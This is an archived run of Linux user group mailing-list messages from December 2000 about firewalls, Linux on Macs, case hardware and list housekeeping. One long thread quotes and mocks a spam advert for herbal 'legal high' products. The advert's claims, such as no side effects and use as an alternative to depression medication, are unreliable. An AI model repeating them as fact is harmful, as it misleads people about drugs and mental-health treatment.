on their website. Jay > -----Original Message----- > From: Timothy Wilson [mailto:wilson@visi.com] > Sent: Thursday, December 07, 2000 9:01 PM > To: TCLUG > Subject: [TCLUG] cable modem connections > > > Hey everyone, > > I'm building a Coyote linux firewall for my father-in-law who > has a cable > modem connection from HBCI down in Winona. I don't have any > cable modem > experience. Is that just a bridging connection or do I need > to enable PPPoE > on the firewall? > > -Tim > > -- > Tim Wilson | Visit Sibley online: | Check out: > Henry Sibley HS | http://www.isd197.k12.mn.us/ | http://www.zope.org/ > W. St. Paul, MN | | http://slashdot.org/ > wilson@visi.com | | http://linux.com/ > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From eric at urbanrage.com Thu Dec 7 23:27:06 2000 From: eric at urbanrage.com (eric) Date: Mon Jan 17 13:13:20 2005 Subject: [TCLUG] Mac Linux compatibility References: <3A2FB71E.2050405@innominatus.com> <20001207114522.A18277@yahoo.com> <00120710422700.00333@Billbob_Linux> Message-ID: <3A30712A.50946F8B@urbanrage.com> Bill Layer wrote: > > Is anyone on the list running Linux on Macintosh hardware, either 68K or PPC? > I'm getting ready to start playing with Mac68K Linux, and I was looking for > some *local* advice & feedback on using Linux on the Mac. > > So far, it looks like Debian is the only game in town..? > > My main question is, what software (that might traditionally be used on x86 > Linux) can I expect to work, and what should I *not* expect to work? > I use linuxppc on a 7500 with a g3 card and it works great. There is a lack of pre-built packages, but if you have the source almost everything compiles (some things that do kernel mucking have problems (like cipe and freeswan), but you can work around most of them) the usb support of mac (can't remember if it's the ohci or uhci) is back ported quite well to the 2.2.x kernels. personally I run a 2.4.0test10 and X4.0.1 (I run these so I can use a usb wheel mouse (xpmac supports usb, but not wheelie)) linuxppc 2000 has a nice installer. Don't know about the 68k side, but the ppc side there are at least 4 distro's that have good support (linuxppc, debian, yellowdog, turbo, and maybe even suse) http://www.wookieweb.com/linux/distro.htm kind of paints the 68k picture... Eric eric@urbanrage.com -------------- next part -------------- A non-text attachment was scrubbed... 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The problem is that I do not know how to subscribe to tclug-list@lists.real-time.com. I didn't get much further than: --- verify e-mail "majordomo@lists.real-time.com" --- looking up mailexchange for lists.real-time.com --- contacting nameserver 199.199.147.35 (199.199.147.35) --- found mailexchange "ufc.uni-dortmund.de" --- contacting host ufc.uni-dortmund.de [129.217.211.199] 220 ufc.uni-dortmund.de ESMTP > HELO charter.net 250 ufc.uni-dortmund.de > VRFY majordomo@lists.real-time.com 252 send some mail, i'll try my best > MAIL FROM: 250 ok > RCPT TO: 553 sorry, that domain isn't in my list of allowed rcpthosts (#5.7.1) Go ahead and reply on-list, I've been following along via the archives. From andyzb at ltiflex.com Fri Dec 8 08:29:21 2000 From: andyzb at ltiflex.com (Andy Zbikowski) Date: Mon Jan 17 13:13:21 2005 Subject: [TCLUG] Help/Meta mn-linux.org v. real-time.com References: <5.0.0.25.2.20001207233144.009fbe70@mail.charter.net> Message-ID: <3A30F041.A7C79E05@ltiflex.com> https://mailman.real-time.com/mailman/listinfo/tclug-list It should be at the bottom of every message... Which address should we be using? Or does it not even matter...blah...I hate head colds... -- Andy Zbikowski, Sys Admin | (WEB) http://www.ltiflex.com LTI Flexible Products, Inc. | (PH) 763-428-9119 (EX) 132 21801 Industrial Blvd | (FX) 763-428-9126 Rogers, MN 55374 | (PCS) 612-306-6055 From punch at nerp.net Fri Dec 8 10:09:32 2000 From: punch at nerp.net (PunchRock) Date: Mon Jan 17 13:13:21 2005 Subject: [TCLUG] Mac Linux compatibility In-Reply-To: <3A30712A.50946F8B@urbanrage.com> Message-ID: At work I have yellow dog running on a 5400 for a shell server and I love it. Yellow dog has a great installer and comes with just enoufgh stuff to get you going.. but no overkill. Before yellowdog I had tried linuxPPC but was unimpressed with the installer and had some trouble compiling certain things. My YD box has been up for 73 days and is running great. Brian Riesgraf Perkinz.Org On Thu, 7 Dec 2000, eric wrote: > Bill Layer wrote: > > > > Is anyone on the list running Linux on Macintosh hardware, either 68K or PPC? > > I'm getting ready to start playing with Mac68K Linux, and I was looking for > > some *local* advice & feedback on using Linux on the Mac. > > > > So far, it looks like Debian is the only game in town..? > > > > My main question is, what software (that might traditionally be used on x86 > > Linux) can I expect to work, and what should I *not* expect to work? > > > > I use linuxppc on a 7500 with a g3 card and it works great. There is a > lack of pre-built packages, but if you have the source almost everything > compiles (some things that do kernel mucking have problems (like cipe > and freeswan), but you can work around most of them) > > the usb support of mac (can't remember if it's the ohci or uhci) is back > ported quite well to the 2.2.x kernels. personally I run a 2.4.0test10 > and X4.0.1 (I run these so I can use a usb wheel mouse (xpmac supports > usb, but not wheelie)) > > linuxppc 2000 has a nice installer. > > Don't know about the 68k side, but the ppc side there are at least 4 > distro's that have good support (linuxppc, debian, yellowdog, turbo, and > maybe even suse) > > http://www.wookieweb.com/linux/distro.htm kind of paints the 68k > picture... > > > Eric > eric@urbanrage.com From bexley at daily.umn.edu Fri Dec 8 10:10:06 2000 From: bexley at daily.umn.edu (Benjamin Exley) Date: Mon Jan 17 13:13:21 2005 Subject: [TCLUG] Re: funny spam In-Reply-To: <200012080331.eB83V1n15849@sprite.real-time.com> Message-ID: <3A30B37D.7999.713317AF@localhost> On the plus side of spam, there is always a certain humor factor involved... > Only from Shambhala Botanicals... > > Ho! Ho! Hookah! > Happy Holidays! > Don't forget to ask about our Holiday SPECIAL! Who the heck did the market research for this one??? I can see them sitting around in a room with the lights real low and a hookah burning away thinking to themselves, "Yeah, a Linux mailing list would be a GREAT place to promote our strange and unheard of drug!" > Offering for your "Sensitive" Delight: And my "strange" sense of humor maybe: > > "Seventh Heaven" Kathmandu Temple Kiff (tm); > a viripotent cannabis alternative for blissful regressions > of vexatious depressions... Let's count the number of "pseudowords" that are used here. I count two so far - viripotent and vexations > "Seventh Heaven" Prosaka Tablets (tm); a botanical > alternative to pharmaceutical medications for calm, > balance, serenity and joyful living... Oooo.. No pseodowords here... > "Seventh Heaven" Gentle Ferocity Tablets (tm); > a most efficacious, non-caffeine, non-ephedrine, > non-MaHuang botanical energizer... I'm gonna call efficacious a pseudoword, so along with non- MaHuang, were up to: 4 I think it's great how all of those names are trademarked. I don't think that they will EVER have to worry about proprietary rights.... > Kathmandu Temple Kiff is a proprietary; Nepalese, > sensitive, pipe-smoking/stoking substance. Kathmandu Temple > Kiff is indeed the most substantial marijuana/cannabis > alternative on the planet. Let's hear it for; use of semi-colons. > Absolutely Legal! Marvelously Potent! WELL THEN! > For your convenience, you can call us direct with your > orders or questions. Ask about our Holiday Specials! > Call 1 (719) 686-9919 Oh I'm tempted. This stuff would make the PERFECT stocking stuffer for the kidies. > Kathmandu Temple Kiff possesses all of the positive virtues > fine ganja/cannabis without any of the negatives. > An amalgamation of high concentrates of rare euphoric > herbas, Kathmandu is offered in a solid jigget/bar format > and is actually more UPLIFTING & POISED than cannabis / > marijuana while rendering Euphoria, Happiness, Mood- > Enhancement, Stress/Depression Relief and promoting > contemplativeness, creativity, better sleep, lucid dreaming ... > and enhancing the sexual experience!!! So basically what they're saying is that it's kinda like Ecstasy and Valium in one handy bar? > Kathmandu Temple Kiff is simply the best and just a little > pinch/snippet of the Kathmandu goes a long "sensitive" way. Yeah I "really" bet. > Just 4 or 5 draws of the pipe ... (an herb pipe included > with each package of Kathmandu Temple Kiff). Including a pipe?? That's like including a keyboard with a video game. > PLEASE NOTE: Although no botanical factor in Kathmandu > Temple Kiff is illegal or considered to be harmful by > regulatory agencies and no tobacco is included therein, > it is the policy of our company that Kathmandu Temple Kiff > may not be offered or sold to any person that has not > attained at least 21 years of age. Okay so strike this as a stocking stuffer. > Ingredients: > > Kathmandu Temple Kiff is both a euphoriant and an > uplifting, calmative relaxant that offers scintillating > physical and cerebral ambiance enhancement. Kathmandu > Temple Kiff is a proprietary, prescribed amalgamation which > includes the following synergistically, synesthesia > conglomerated, uncommon herbs, resins, essences, flower-tops > and oils in extreme ratio extractment ranging from 8.5 to > to 60 to 1, viripotent concentrations: Drachasha, Chavana > Prash, Trikatu, Black Seed Herb, Capillaris Herba, Angelica > Root, Wild Dagga, Haritaki, Shatavari, Labdunum, Neroli, > Unicorn Root, Papaver Rhoes, Dendrobian, Calea Zacalechichi, > Rue, Amla, Salvia Divinorum, Crocus Sativa, Lotus and > Gokshura. Well this list sort of throws my whole pseudoword count out the window, but lets see... calmative, synesthesia, conglomerated (can you use conglomerate like that??), and viripotent again, so that makes... what, 4+4=8? > Also for your sensitive mellowness... Mellow Yellow-ness? > "Seventh Heaven" Prosaka Tablets are an entirely natural, > proprietary, botanical prescription comprised of uncommon > Asian Herbs for Calm, Balance, Serenity and Joyful Living. When I'm talking about Things, I like To capitalize Randomly Too. > "Seventh Heaven" Prosaka is indeed a most extraordinary, > viripotent, calming, centering, mood-enhancing, holistically- > formulated, exotic herbaceous alternative to pharmaceutical > medications for depression, anxiety, stress, insomnia, etc. herbaceous??? You've got to be kidding me!!!! That's 9. > NO side effects! NO dependency! Vivaciously Mellow! Groove. > There is ABSOLUTELY nothing else quite like > "Seventh Heaven" Prosaka (tm). Yeah *I'll* say. > Ingredients: > > Seventh Heaven Prosaka tablets contain the following herbal > factors in precise prescription: Tadix Salviae, Sensitive > Mimosa Bark, Arullus Euphoriae, Shizandra, Frutcus Mori, > Caulis, Polygoni Multiflori, Zizphus, Tang Kuei, Cedar Seed, > weetflag Rhizome, Cuscutae, Amber, Radix Scutellariae, > Evodia, Longan, Arizisaema, Cistanches, Radix Polygalae, > Red Sage Root and Eucommia. > Recommended dosage: 1-2 tablets; 2-3 times per day. Sensitive Mimosa Bark? As opposed to the rough, uncaring type? > Also... for your "Sensitive" "Pure Energy" Energization... > "Seventh Heaven" Gentle Ferocity Tablets (tm). > A "Seventh Heaven" non-caffeine, non-ephedrine, non-ephedra, > non-MaHuang; viripotent, herbaceous prescription for the > dynamic energization of body, mind and spirit. I'll let non-ephedra slide because I think it's referring to the drug more commonly marketed as Sudafed (same goes for ephedrine), but I see three previously used pseudowords rearing their ugly little heads again, soo..... 12 > This Gentle Ferocity Formulation is amalgamated in > accordance with the fundamental Taoist herbal principle > of botanical interactiveness and precursorship which in > essence is a molecular equation of the relevant botanical/ > herbal alkaloids and glycosides interacting with one > another to prolificate molecular communion and thereby > to achieve demonstrative herbal efficaciousness without > negative implication to any aspect of human composition. > These Gentle Ferocity Cordial Tablets are incredulously > and thoroughly effective. Enjoy! Enjoy indeed. Take the time to read through this last paragraph. It gets funnier every time! Annnnd, it bring the pseudoword count (pwc) to 15. I don't think that you can use interactive that way. Also, I reject efficaciousness and precursorship on general principles. > Contents: > Each Gentle Ferocity Tablet contains 500 mg. of the > following proprietary formulated, high-ratio concentrated > botanical factors... Cortex Eucommiae, Radex Polygoni > Multiflori, Zizyphus Seed, Fructus Schisandrae, Radix > Panax Ginseng, Radix Astragali, Atractylode, Sclerotium, > Porial Cocos, Saussurea Tang Kuei, Longan, Radix Paeoniae, > Biota Seeds, Glehnia, Radix Salviae, Ligusticum, Lycu Berry, > Radix Dioscoreae, Cortex Mouton, Frutcus Corni, Radix > Polygalae, Cistanches, Radix Pseudoslellariae and Cortex > Aranthopanacis. I'm no botanist, but so far I haven't recognized even one ingredient. And that kinda scares me. But then again, how many of them would a I recognize on a Mountain Dew can?? Such is life. Sorry for wasting all this bandwidth. Ben ----- Benjamin Exley Online Webmaster The Minnesota Daily bexley@daily.umn.edu (612) 627-4070 Ext. 3096 From austad at marketwatch.com Fri Dec 8 10:18:17 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:21 2005 Subject: [TCLUG] Re: funny spam Message-ID: They are selling some kind of vine on the site which comes from south america. It's usually made into tea and it's a hallucinogen. I did some research on it and apparently it's illegal in the US, however, you can still buy it here. The effects are not quite as strong as LSD, and homeopathic doctors prescribe it to their patients. Anyway, it's not really related to Linux, but it's interesting... Wait, I know how it relates to linux... I bet Alan Cox has done some before. > -----Original Message----- > From: Benjamin Exley [mailto:bexley@daily.umn.edu] > Sent: Friday, December 08, 2000 10:10 AM > To: tclug-list@lists.real-time.com > Subject: [TCLUG] Re: funny spam > > > On the plus side of spam, there is always a certain humor factor > involved... > > > Only from Shambhala Botanicals... > > > > Ho! Ho! Hookah! > > Happy Holidays! > > Don't forget to ask about our Holiday SPECIAL! > Who the heck did the market research for this one??? I can see > them sitting around in a room with the lights real low and a hookah > burning away thinking to themselves, "Yeah, a Linux mailing list > would be a GREAT place to promote our strange and unheard of > drug!" > > > Offering for your "Sensitive" Delight: > And my "strange" sense of humor maybe: > > > > "Seventh Heaven" Kathmandu Temple Kiff (tm); > > a viripotent cannabis alternative for blissful regressions > > of vexatious depressions... > Let's count the number of "pseudowords" that are used here. I > count two so far - viripotent and vexations > > > "Seventh Heaven" Prosaka Tablets (tm); a botanical > > alternative to pharmaceutical medications for calm, > > balance, serenity and joyful living... > Oooo.. No pseodowords here... > > > "Seventh Heaven" Gentle Ferocity Tablets (tm); > > a most efficacious, non-caffeine, non-ephedrine, > > non-MaHuang botanical energizer... > I'm gonna call efficacious a pseudoword, so along with non- > MaHuang, were up to: > 4 > > I think it's great how all of those names are trademarked. I don't > think that they will EVER have to worry about proprietary rights.... > > > Kathmandu Temple Kiff is a proprietary; Nepalese, > > sensitive, pipe-smoking/stoking substance. Kathmandu Temple > > Kiff is indeed the most substantial marijuana/cannabis > > alternative on the planet. > Let's hear it for; use of semi-colons. > > > Absolutely Legal! Marvelously Potent! > WELL THEN! > > > For your convenience, you can call us direct with your > > orders or questions. Ask about our Holiday Specials! > > Call 1 (719) 686-9919 > Oh I'm tempted. This stuff would make the PERFECT stocking > stuffer for the kidies. > > > Kathmandu Temple Kiff possesses all of the positive virtues > > fine ganja/cannabis without any of the negatives. > > An amalgamation of high concentrates of rare euphoric > > herbas, Kathmandu is offered in a solid jigget/bar format > > and is actually more UPLIFTING & POISED than cannabis / > > marijuana while rendering Euphoria, Happiness, Mood- > > Enhancement, Stress/Depression Relief and promoting > > contemplativeness, creativity, better sleep, lucid dreaming ... > > and enhancing the sexual experience!!! > So basically what they're saying is that it's kinda like Ecstasy and > Valium in one handy bar? > > > Kathmandu Temple Kiff is simply the best and just a little > > pinch/snippet of the Kathmandu goes a long "sensitive" way. > Yeah I "really" bet. > > Just 4 or 5 draws of the pipe ... (an herb pipe included > > with each package of Kathmandu Temple Kiff). > Including a pipe?? That's like including a keyboard with a video > game. > > > PLEASE NOTE: Although no botanical factor in Kathmandu > > Temple Kiff is illegal or considered to be harmful by > > regulatory agencies and no tobacco is included therein, > > it is the policy of our company that Kathmandu Temple Kiff > > may not be offered or sold to any person that has not > > attained at least 21 years of age. > Okay so strike this as a stocking stuffer. > > > Ingredients: > > > > Kathmandu Temple Kiff is both a euphoriant and an > > uplifting, calmative relaxant that offers scintillating > > physical and cerebral ambiance enhancement. Kathmandu > > Temple Kiff is a proprietary, prescribed amalgamation which > > includes the following synergistically, synesthesia > > conglomerated, uncommon herbs, resins, essences, flower-tops > > and oils in extreme ratio extractment ranging from 8.5 to > > to 60 to 1, viripotent concentrations: Drachasha, Chavana > > Prash, Trikatu, Black Seed Herb, Capillaris Herba, Angelica > > Root, Wild Dagga, Haritaki, Shatavari, Labdunum, Neroli, > > Unicorn Root, Papaver Rhoes, Dendrobian, Calea Zacalechichi, > > Rue, Amla, Salvia Divinorum, Crocus Sativa, Lotus and > > Gokshura. > Well this list sort of throws my whole pseudoword count out the > window, but lets see... calmative, synesthesia, conglomerated (can > you use conglomerate like that??), and viripotent again, so that > makes... what, 4+4=8? > > > Also for your sensitive mellowness... > Mellow Yellow-ness? > > > "Seventh Heaven" Prosaka Tablets are an entirely natural, > > proprietary, botanical prescription comprised of uncommon > > Asian Herbs for Calm, Balance, Serenity and Joyful Living. > When I'm talking about Things, I like To capitalize Randomly Too. > > > "Seventh Heaven" Prosaka is indeed a most extraordinary, > > viripotent, calming, centering, mood-enhancing, holistically- > > formulated, exotic herbaceous alternative to pharmaceutical > > medications for depression, anxiety, stress, insomnia, etc. > herbaceous??? You've got to be kidding me!!!! That's 9. > > > NO side effects! NO dependency! Vivaciously Mellow! > Groove. > > > There is ABSOLUTELY nothing else quite like > > "Seventh Heaven" Prosaka (tm). > Yeah *I'll* say. > > > Ingredients: > > > > Seventh Heaven Prosaka tablets contain the following herbal > > factors in precise prescription: Tadix Salviae, Sensitive > > Mimosa Bark, Arullus Euphoriae, Shizandra, Frutcus Mori, > > Caulis, Polygoni Multiflori, Zizphus, Tang Kuei, Cedar Seed, > > weetflag Rhizome, Cuscutae, Amber, Radix Scutellariae, > > Evodia, Longan, Arizisaema, Cistanches, Radix Polygalae, > > Red Sage Root and Eucommia. > > Recommended dosage: 1-2 tablets; 2-3 times per day. > Sensitive Mimosa Bark? As opposed to the rough, uncaring type? > > > Also... for your "Sensitive" "Pure Energy" Energization... > > "Seventh Heaven" Gentle Ferocity Tablets (tm). > > A "Seventh Heaven" non-caffeine, non-ephedrine, non-ephedra, > > non-MaHuang; viripotent, herbaceous prescription for the > > dynamic energization of body, mind and spirit. > I'll let non-ephedra slide because I think it's referring to the drug > more commonly marketed as Sudafed (same goes for > ephedrine), but I see three previously used pseudowords rearing > their ugly little heads again, soo..... > > 12 > > > > This Gentle Ferocity Formulation is amalgamated in > > accordance with the fundamental Taoist herbal principle > > of botanical interactiveness and precursorship which in > > essence is a molecular equation of the relevant botanical/ > > herbal alkaloids and glycosides interacting with one > > another to prolificate molecular communion and thereby > > to achieve demonstrative herbal efficaciousness without > > negative implication to any aspect of human composition. > > These Gentle Ferocity Cordial Tablets are incredulously > > and thoroughly effective. Enjoy! > Enjoy indeed. Take the time to read through this last paragraph. It > gets funnier every time! Annnnd, it bring the pseudoword count > (pwc) to 15. I don't think that you can use interactive that way. > Also, I reject efficaciousness and precursorship on general > principles. > > > > Contents: > > Each Gentle Ferocity Tablet contains 500 mg. of the > > following proprietary formulated, high-ratio concentrated > > botanical factors... Cortex Eucommiae, Radex Polygoni > > Multiflori, Zizyphus Seed, Fructus Schisandrae, Radix > > Panax Ginseng, Radix Astragali, Atractylode, Sclerotium, > > Porial Cocos, Saussurea Tang Kuei, Longan, Radix Paeoniae, > > Biota Seeds, Glehnia, Radix Salviae, Ligusticum, Lycu Berry, > > Radix Dioscoreae, Cortex Mouton, Frutcus Corni, Radix > > Polygalae, Cistanches, Radix Pseudoslellariae and Cortex > > Aranthopanacis. > I'm no botanist, but so far I haven't recognized even one ingredient. > And that kinda scares me. > > But then again, how many of them would a I recognize on a > Mountain Dew can?? > > > > Such is life. > > Sorry for wasting all this bandwidth. > > Ben > > > > ----- > Benjamin Exley > Online Webmaster > The Minnesota Daily > bexley@daily.umn.edu > (612) 627-4070 Ext. 3096 > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From mtsqph at yahoo.com Fri Dec 8 10:20:09 2000 From: mtsqph at yahoo.com (grey Moon-Wolf) Date: Mon Jan 17 13:13:21 2005 Subject: [TCLUG] UNSUBCRIBE "mtsqph@yahoo.com" PLEASE Message-ID: <20001208162009.23140.qmail@web10304.mail.yahoo.com> I have to dive. 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Dissemination of this material without the permission of the sender is prohibited. Miller & Schroeder Financial, Inc. Member NASD/SIPC From b.layer at vikingelectronics.com Fri Dec 8 10:31:41 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:13:21 2005 Subject: [TCLUG] Re: funny spam In-Reply-To: <3A30B37D.7999.713317AF@localhost> References: <3A30B37D.7999.713317AF@localhost> Message-ID: <00120810314107.00253@Billbob_Linux> On Friday 08 December 2000 10:10, you wrote: > > Offering for your "Sensitive" Delight: > > And my "strange" sense of humor maybe: > > "Seventh Heaven" Kathmandu Temple Kiff (tm); > > a viripotent cannabis alternative for blissful regressions > > of vexatious depressions... I think 'kiff' a type of hashish made by beating mature cannabis buds against a silk screen, so that the resin glands alone fall through the screen, for collection. This is called 'nup' in some parts. So let's get some! LOL. -- Bill Layer From andyzb at ltiflex.com Fri Dec 8 10:37:12 2000 From: andyzb at ltiflex.com (Andy Zbikowski) Date: Mon Jan 17 13:13:21 2005 Subject: [TCLUG] UNSUBCRIBE "mtsqph@yahoo.com" PLEASE References: <20001208162009.23140.qmail@web10304.mail.yahoo.com> Message-ID: <3A310E38.41BCF609@ltiflex.com> Let me see...ah, here's a brick wall... *bonk* *bonk* *bonk* *bonk* *bonk* Maybe just maybe you should read the very bottom of list messages, it's on every mesage: https://mailman.real-time.com/mailman/listinfo/tclug-list Or, like any standard mailing list, tclug-request@lists.real-time.com w/ a subject of unsubscripe usually does the trick (or spits you an informative error message) In the case of mail man, you put unsubscribe user@host.tld password I'll go back to beating my head agnist a brick wall now. *bonk* *bonk* *bonk* I think... *bonk* *bonk* I'm going... *bonk* *bonk* *bonk* to loose.... *bonk* *bonk* *bonk* *bonk* conscienceness... *bonk* *bonk* *bonk* *bonk* *bonk* now... -- Andy Zbikowski, Sys Admin | (WEB) http://www.ltiflex.com LTI Flexible Products, Inc. | (PH) 763-428-9119 (EX) 132 21801 Industrial Blvd | (FX) 763-428-9126 Rogers, MN 55374 | (PCS) 612-306-6055 From esper at sherohman.org Fri Dec 8 10:38:05 2000 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:13:21 2005 Subject: [TCLUG] Re: funny spam In-Reply-To: <3A30B37D.7999.713317AF@localhost>; from bexley@daily.umn.edu on Fri, Dec 08, 2000 at 10:10:06AM -0600 References: <200012080331.eB83V1n15849@sprite.real-time.com> <3A30B37D.7999.713317AF@localhost> Message-ID: <20001208103805.B28060@sherohman.org> On Fri, Dec 08, 2000 at 10:10:06AM -0600, Benjamin Exley wrote: > On the plus side of spam, there is always a certain humor factor > involved... Your pseudoword count needs much work... A few results found at dictionary.com: > Let's count the number of "pseudowords" that are used here. I > count two so far - viripotent and vexations - viripotent, a. [L. vir man + potens fit for.] Developed in - manhood; hence, able to beget; marriageable. [Obs.] A manly drug? One which you can marry? OK, doesn't make any sense, but it _is_ a word... (I actually didn't think this one was real either.) - vex?a?tious - adj. - 1. Causing or creating vexation; annoying. - 2. Full of annoyance or distress; harassed. - 3. Intended to vex or annoy. That's a real one. > I'm gonna call efficacious a pseudoword, Why? - ef?fi?ca?cious - adj. - Producing or capable of producing a desired effect. See Synonyms at - effective. > Well this list sort of throws my whole pseudoword count out the > window, but lets see... calmative, You're kidding, right? - calm?a?tive - adj. - Having relaxing or pacifying properties; sedative. - n. - A sedative. > synesthesia, - syn?es?the?sia also syn?aes?the?sia - n. - 1. A condition in which one type of stimulation evokes the - sensation of another, as when the hearing of a sound produces - the visualization of a color. - 2. A sensation felt in one part of the body as a result of - stimulus applied to another, as in referred pain. - 3. The description of one kind of sense impression by using - words that normally describe another. > conglomerated (can > you use conglomerate like that??), Yes. - con?glom?er?ate - v. intr. and tr. con?glom?er?at?ed, con?glom?er?at?ing, con?glom?er?ates. > I'll let non-ephedra slide because I think it's referring to the drug > more commonly marketed as Sudafed (same goes for > ephedrine), You've got it backwards. "Sudafed" is, essentially, shorthand for "pseudoephedrine" (with a trademark added for spice). > Also, I reject efficaciousness That is the correct noun form of efficacious, although I would probably go with "efficacy" (yes, that's also a word) myself. > and precursorship on general > principles. - precursorship, n. The position or condition of a precursor. --Ruskin. > Benjamin Exley > Online Webmaster > The Minnesota Daily *sigh* -- "Two words: Windows survives." - Craig Mundie, Microsoft senior strategist "So does syphillis. Good thing we have penicillin." - Matthew Alton Geek Code 3.1: GCS d? s+: a- C++ UL++$ P++>+++ L+++>++++ E- W--(++) N+ o+ !K w---$ O M- V? PS+ PE Y+ PGP t 5++ X+ R++ tv b+ DI++++ D G e* h+ r y+ From blackk100 at hotmail.com Fri Dec 8 10:40:07 2000 From: blackk100 at hotmail.com (Kelly Black) Date: Mon Jan 17 13:13:22 2005 Subject: [TCLUG] ATX case hardware problem (need parts) Message-ID: Ahhhhh, Skip the cute case... Just get a chunk of plywood, some skinny machine screws, nuts, and a big squirrel cage fan to blow across the board. Kelly Black >From: "Bill Layer" >Reply-To: tclug-list@lists.real-time.com >To: tclug-list@lists.real-time.com >Subject: [TCLUG] ATX case hardware problem (need parts) >Date: Thu, 7 Dec 2000 12:00:49 -0600 > >Arrgh! I picked up one of the translucent blue ATX cases (looks a little >like >a MacG3) a few months back. It was missing the internal hardware, but I >figured it was no big deal - hardware is hardware. Here is a pic of the >case: > >http://www.transnet-inc.com/CaseAquaBlue.html > >Well, it turns out that this case uses PROPRIETARY hardware, most >annoyingly, >the mounting standoffs for the motherboard. Unless I can find a handful of >these 2-cent parts, this $100.00 case is going to be a doorstop (and I >already own plenty of those). I wrote the people at the above site, and >they >responded with "Sorry, but we cannot sell them (the parts) to you". No >further explanation. > >Does anyone know where I can get enough of these standoffs to mount the >board? maybe from another builder that had extras? > >Or plan B - could someone suggest a good case from Tran / GNS that would be >suitable for a hardware hacker like me to build a Duron 700 system in? Will >I >*need* a 300W supply? (I plan to u/g to a 1.2 or better T-bird in a year or >so...) > >P.S. Plan B sucks. > >-- >Bill Layer >Sales Technician > > >+----------------------------------+ > Viking Electronics, Inc. > 1531 Industrial St. > Hudson, WI. 54016 - U.S.A > 715.386.8861 ext. 210 > >+----------------------------------+ > >"Telecom Solutions for the 21st Century" > Powered by Slackware Linux 7.1.0 > >_______________________________________________ >tclug-list mailing list >tclug-list@lists.real-time.com >https://mailman.real-time.com/mailman/listinfo/tclug-list _____________________________________________________________________________________ Get more from the Web. FREE MSN Explorer download : http://explorer.msn.com From b.layer at vikingelectronics.com Fri Dec 8 10:50:57 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:13:22 2005 Subject: [TCLUG] ATX case hardware problem (need parts) In-Reply-To: References: Message-ID: <0012081050570C.00253@Billbob_Linux> Hi, On Friday 08 December 2000 10:40, you wrote: > Ahhhhh, > Skip the cute case... > Just get a chunk of plywood, some skinny machine screws, nuts, and a big > squirrel cage fan to blow across the board. ... and a kat to jump on the whole mess when it's up and running! Allthough, I still would like to make a clear case of thick lucite.. Ja ja, mit der blinkenlighten und spinnenwerks und der udder kute krapfen :| I have admitted bitter defeat - I will be at Tran or GNS tonight buying a new ATX minitower. Is the Enlight 300W minitower a good choice? -- Bill Layer Sales Technician +----------------------------------+ Viking Electronics, Inc. 1531 Industrial St. Hudson, WI. 54016 - U.S.A 715.386.8861 ext. 210 +----------------------------------+ "Telecom Solutions for the 21st Century" Powered by Slackware Linux 7.1.0 From Hampton_Bruce/Milestone at mail.milestonesystems.com Fri Dec 8 10:51:32 2000 From: Hampton_Bruce/Milestone at mail.milestonesystems.com (Hampton_Bruce/Milestone@mail.milestonesystems.com) Date: Mon Jan 17 13:13:22 2005 Subject: [TCLUG] UNSUBCRIBE "mtsqph@yahoo.com" PLEASE In-Reply-To: <3A310E38.41BCF609@ltiflex.com> Message-ID: Don't be so rude Andy! I've been trying to get off this list for 3 weeks now. I've followed the link and it don't work!!!!! I've even email the list owner and I'm still on it. Everyday I get more useless info than I ever imagined. > Let me see...ah, here's a brick wall... > > *bonk* *bonk* *bonk* *bonk* *bonk* > > Maybe just maybe you should read the very bottom of list messages, it's on > every mesage: > https://mailman.real-time.com/mailman/listinfo/tclug-list > > Or, like any standard mailing list, tclug-request@lists.real-time.com w/ a > subject of unsubscripe usually does the trick (or spits you an informative > error message) > > In the case of mail man, you put > unsubscribe user@host.tld password > > I'll go back to beating my head agnist a brick wall now. > > *bonk* *bonk* *bonk* > I think... > *bonk* *bonk* > I'm going... > *bonk* *bonk* *bonk* > to loose.... > *bonk* *bonk* *bonk* *bonk* > conscienceness... > *bonk* *bonk* *bonk* *bonk* *bonk* > now... > > -- > Andy Zbikowski, Sys Admin | (WEB) http://www.ltiflex.com > LTI Flexible Products, Inc. | (PH) 763-428-9119 (EX) 132 > 21801 Industrial Blvd | (FX) 763-428-9126 > Rogers, MN 55374 | (PCS) 612-306-6055 > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list From natecars at real-time.com Fri Dec 8 11:11:48 2000 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:13:22 2005 Subject: [TCLUG] Verbatim MO Drive Message-ID: WOOHOO! Mine came. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From natecars at real-time.com Fri Dec 8 11:19:21 2000 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:13:22 2005 Subject: [TCLUG] Verbatim MO Drive In-Reply-To: Message-ID: On Fri, 8 Dec 2000, Nate Carlson wrote: > WOOHOO! Mine came. ...and works. :) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From austad at marketwatch.com Fri Dec 8 11:18:28 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:22 2005 Subject: [TCLUG] Verbatim MO Drive Message-ID: Woohoo! Mine too. It didn't come with a terminator though. I guess I'll have to make a run to the computer store. Doh. Nice silver color though. At least it's not hospital beige like the disk that came with it. > -----Original Message----- > From: Nate Carlson [mailto:natecars@real-time.com] > Sent: Friday, December 08, 2000 11:12 AM > To: Twin Cities Linux User Group > Subject: [TCLUG] Verbatim MO Drive > > > WOOHOO! Mine came. > > -- > Nate Carlson | Phone : (952)943-8700 > http://www.real-time.com | Fax : (952)943-8500 > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From destef at destef.com Fri Dec 8 11:27:16 2000 From: destef at destef.com (Jason DeStefano) Date: Mon Jan 17 13:13:22 2005 Subject: [TCLUG] Verbatim MO Drive In-Reply-To: Message-ID: What exactly is it? On 